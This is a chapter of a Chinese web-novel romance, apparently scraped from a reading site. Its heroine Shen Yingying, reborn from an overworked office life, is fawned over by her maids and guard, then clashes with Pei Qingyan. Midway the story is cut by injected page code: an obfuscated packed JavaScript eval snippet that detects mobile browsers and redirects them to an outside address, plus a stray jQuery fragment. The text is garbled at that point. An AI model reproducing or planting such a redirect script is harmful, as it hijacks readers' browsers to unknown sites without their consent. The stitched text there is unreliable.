青芝翠竹两人折返回醉仙楼,还未进门就瞧赫连朔推着自家小姐出来。
小姐脸上红扑扑的,看见她俩时眼中闪过一丝心虚。小贺侍卫则一直用含情脉脉的眼神盯着小姐,实在是不可思议。
两人好像嗅到了八卦的气息。
原来小姐是故意把她们支开去买糕点,好和小贺侍卫独处。连小姐都开始嫌弃她们是拖油瓶了吗?心腹地位不保啊。
盈盈瞅见两个丫鬟的眼神一下扫过她,又一下飘到自己身后的贺连身上,眼神充满对他俩的探究和怀疑。
要是她知道自己已经被青芝翠竹误会是故意支开她们,那她此刻一定会大喊冤枉:明明这糕点真的是她要带回去给她祖母的。让两人结伴去买还不是怕她们买多了可以一起拿,出行也安全些。
这时候肯定有人又要说,那怎么不让赫连朔这个大男人去买?你是不是就是有私心?
这个赫连朔新来的,也没采买过品种多样的精细糕点,简而言之就是还没经过系统的“岗前培训”,而且看他一副五大三粗的样子,怕他连要买啥种类、口味甜度、包装要求都记不清,哪里敢让他去采买自己祖母的糕点呀。她祖母对吃食方面一向讲究,自然还是安排自己的心腹婢女去采买更为妥当。
再说了,也没哪家安排侍卫去买吃食。所谓侍卫,自然是要守在主人身边寸步不离、保护主人安危。
盈盈上辈子在职场混了几年,她最讲究的就是各司其责——不是她自己的活,她干都不想干,各司其责嘛。当然大多数情况都是拒绝不了的,特别是她这种底层小员工,日常就是帮人干各种各样的杂活。
因此,她安排青芝翠竹去买糕点,完全不是故意打发她们啊!
“你们买好了?”盈盈干笑两声。
青芝翠竹闻声对视一眼,像是下定某种决心。她们果断地绕到盈盈后面,一齐就要把赫连朔挤开。
赫连朔赶忙闪身躲避,让到一侧,看向青芝翠竹的眼神满是不解。两人只给他瞥了一个“算你识趣”的眼神。
青芝殷勤地给盈盈扇扇子,脸上带着讨好的笑;翠竹则费力地给盈盈推轮椅,嘴中还不忘对盈盈嘘寒问暖。
她俩算是明白了:先前自己还傻乎乎给赫连朔接近盈盈的机会,还没一天这个赫连朔就如此讨小姐欢心,严重威胁到她俩的心腹地位,现下她们是断不可能再给赫连朔接近小姐的机会。
要不是赫连朔是夫人给小姐的人,她俩真想找个由头把赫连朔打发去看大门。什么爱情保安,她们不当了!
被无情地丢在后面的赫连朔神色微冷,快步跟上前,走到盈盈的另一侧,给盈盈撑起伞遮阳。
就这样,沈盈盈坐在轮椅上,被这三个人一左一右一后地包围了,三个人一个比一个殷勤——有后边推轮椅的,有左边扇扇子的,有右边给她遮阳的。
一行人这样走着,周边的行人都纷纷对他们行注目礼,当然,最后大家的目光都会聚焦到中间被众星捧月的盈盈身上。
被众人围观,盈盈面上实在是挂不住,脸上笑容越来越僵硬。她真的不想如此引人注目,搞得和皇帝游街一样。
哈哈,这辈子她也是有幸体会到当领导被下属围着的感觉。果然,脸皮薄如她,就不是当领导的命,活该自己上辈子累死累活加班猝死。
“那个,你们正常走就行了。不用这样......”盈盈弱弱开口。
青芝抢着答话,语气浮夸:“那怎么行,小姐千金之躯,自然得这般精细。”一把扇子扇得盈盈整个人都凌乱了。
“青芝所言极是,到观前街还有一段路,小姐可不能累着、热着、晒着。”翠竹也柔声附和,声音听起来温柔小意。
盈盈见与这两人沟通无效,只得用求助的眼神看向在她右侧撑伞的赫连朔:“你别撑了吧,我不晒的其实......”
赫连朔扫了眼一旁抢着干活的青芝翠竹,心中自然不甘落后。他记得中原人规矩多讲究多,他可不能光看着另外两个婢女抢着向小姐表忠心,自己什么都不干,待会被小姐误会他眼里没活、人不上进。
没有人比他更关心小姐。
他轻轻笑道:"午后日头大,小姐不能被晒着,仔细暑热。"他也是一副善解人意的殷勤样,坚持给盈盈撑伞。
不是,怎么连赫连朔说话都变得文绉绉起来?他之前不是个不善言辞的小哑巴吗?
沈盈盈:这三个人到底怎么回事。难道职场“内卷”之风这么早就诞生了吗?
她现在丝毫没兴致再去观前街收租了,因为她现在心情很复杂——本来就被裴清晏整得心情很烦躁,适才又被赫连朔当傻子一样逗,现下这三个活宝让她这般“丢人现眼”,她实在是不想继续在街上被人围观了。
所幸前面就到沈府了。
盈盈看着前边沈府大气的匾额,心下松了口气,闷闷吩咐道:“我乏了,今日不去观前街了,先回府吧。”
...... ......
裴清晏再次看见沈家大小姐是这样的场景:神情恹恹的小娘子懒散地靠在椅上,百无聊赖地把玩着手上的帕子,那手帕都快被她拧成麻花了。一位婢女沉稳地推着轮椅,碰见点地上的坑洼都要想方设法绕过去;另一位婢女手执蚕丝素扇,动作轻柔地给她扇风;还有......上次打过照面的侍卫,默默在一旁给她撑伞,生怕她着了一丝暑热。
沈大小姐坐在轮椅上倒是很惬意,既不用自己走路,还有人帮忙撑伞扇风,现下就差一个人在旁举着果盘供沈小姐享用。
盈盈低头扭着帕子,并未注意到裴清晏正打量她。
“少主,这沈府小姐果然娇贵......”连一向沉默寡言的墨冥看见此情此景都不由咋舌。
毕竟他一直待在穷酸的玄冥宫,今儿第一次见到千金小姐,才知道原来人的生活可以这般讲究。虽然沈小姐随行的仆从并不多,但也让墨冥大为震撼了。
他明明记得早些时候沈小姐出府时,也就一个人推轮椅,另外两人跟在后面就行,现下居然还得一左一右一后服侍。
啧啧啧,有钱真好,有钱真爽。
裴清晏懒得搭理墨冥毫无意义的话。他今早费了不少口舌,现下一点也不想理会旁人。还好午膳后沈老爷因铺子有事先行离开,否则他现下还得继续端着温和有礼的做派同人闲谈。
他宁愿待在宫内教那群蠢货习剑,也不想在这装成一副连他自己瞧着都犯恶心的虚伪样。
不过沈老爷有恩于宫主,有恩于玄冥宫,纵然裴清晏不屑于同豪绅权贵之流交往,但为了玄冥宫,他也愿意假以辞色。
因此,就算他再不想上前同沈盈盈打招呼,但也没办法,毕竟沈盈盈是沈贵之女,他好歹得礼貌性问候一番。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378920|167198||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“沈小姐好。”
沉迷于扭麻花的沈盈盈被这凉飕飕的声音吓得一激灵,惊慌抬起头,对上裴清晏笑意微凉的脸,不禁皱眉道:“裴清晏?你怎么还在......”
她忙止住话音。坏了,不小心把心里话说出来了。
裴清晏闻言笑容一僵,装作没听见沈盈盈的话,面上仍笑如春风:“令尊盛情款待裴某,裴某不胜感激。还顾及我等舟车劳顿,特意留我等在贵府小住一晚。”
舟车劳顿?玄冥宫的人不就住在城外云隐寺,当天往返有什么累的。她前几日去云隐寺也当天往返啊,她爹也不心疼她,就心疼裴清晏,真是双标!
盈盈现在也没那么怕裴清晏——回来的路上她就细细琢磨过,这裴清晏身处的玄冥宫还不是得靠自家老爹资助,不然玄冥宫宫主哪里养得起那么一大帮人。出钱的人就是上帝,连玄冥宫宫主都要对她爹毕恭毕敬,这裴清晏还能比自家宫主身份高?谅他裴清晏再阴险狠辣,也不敢对自己怎么样。而且现下还是在她家地盘,裴清晏哪敢找她麻烦。
她上午也是怕昏了脑袋,竟然在自家门口怕这个小小玄冥宫少主,最后还落荒而逃。就连刚刚被裴清晏叫住,她也惊恐失态,实在是可笑。盈盈对自己恨铁不成钢。
无论如何,她都要扳回一局。
“噢,那就住着吧。不知为何,我看见裴公子就心烦,希望以后裴公子您别往我跟前凑了。”想通了后,盈盈也懒得给裴清晏好脸色瞧,说话也没好气。
说实话她也没武功,武艺上是没法扳回一局。但面对一个杀人不眨眼的魔头,她敢用七分冷漠三分不屑的语气直接贴脸开大,盈盈觉得自己很是厉害。
然后又用自以为很有杀伤力的眼神狠狠瞟了一眼裴清晏,再高傲扭头,一副“我不屑与你多说”的表情。
除了赫连朔,其余人看盈盈连演都不演,竟然对裴清晏说话这般不客气,不由大惊。玄冥宫的人不敢多话,小心翼翼地瞧着这家少主的脸色。
他们不约而同地吞了吞口水:上次敢这么对少主说话的人,直接被少主拔了舌头。看向盈盈的眼神带着敬佩和怜悯。
裴清晏眼中闪过一丝讶异,这沈小姐适才见自己出现在她面前时还表现惊慌,像只受惊的兔子。这下又不和他演了,竟让他一时不知怎么接话。
上次对他这般无礼的人,坟头草都长得比人高了。
罢了,顾着沈贵的原因,他懒得和一个娇气小姐计较,待会跑去告他的状,就更麻烦了。
裴清晏秀气苍白的脸上带着歉意,眼尾微微发红更衬得他无辜可怜,一副“我见犹怜”的样子,像一个饱受恶毒婆婆折磨的受气小媳妇。
哦,沈盈盈像那个恶毒婆婆。
“裴某知道先前得罪了沈小姐,心中时常揣揣不安,还望沈小姐宽宏大量,不要计较裴某之过。”
他这副招人怜爱的样子看得青芝翠竹都于心不忍了,两人都不知道发生了什么事,就拉着盈盈的衣角小声道:“小姐,要不咱就别计较了,你看裴公子也不容易......”
其余玄冥宫弟子不语,只觉自家少主陌生得可怕,心中万分不安。
盈盈转头见裴清晏委屈巴巴的表情,好像欺负人的是她,不讲道理的是她,不留情面的也是她。
盈盈越看裴清晏越来气。
该死的绿茶男。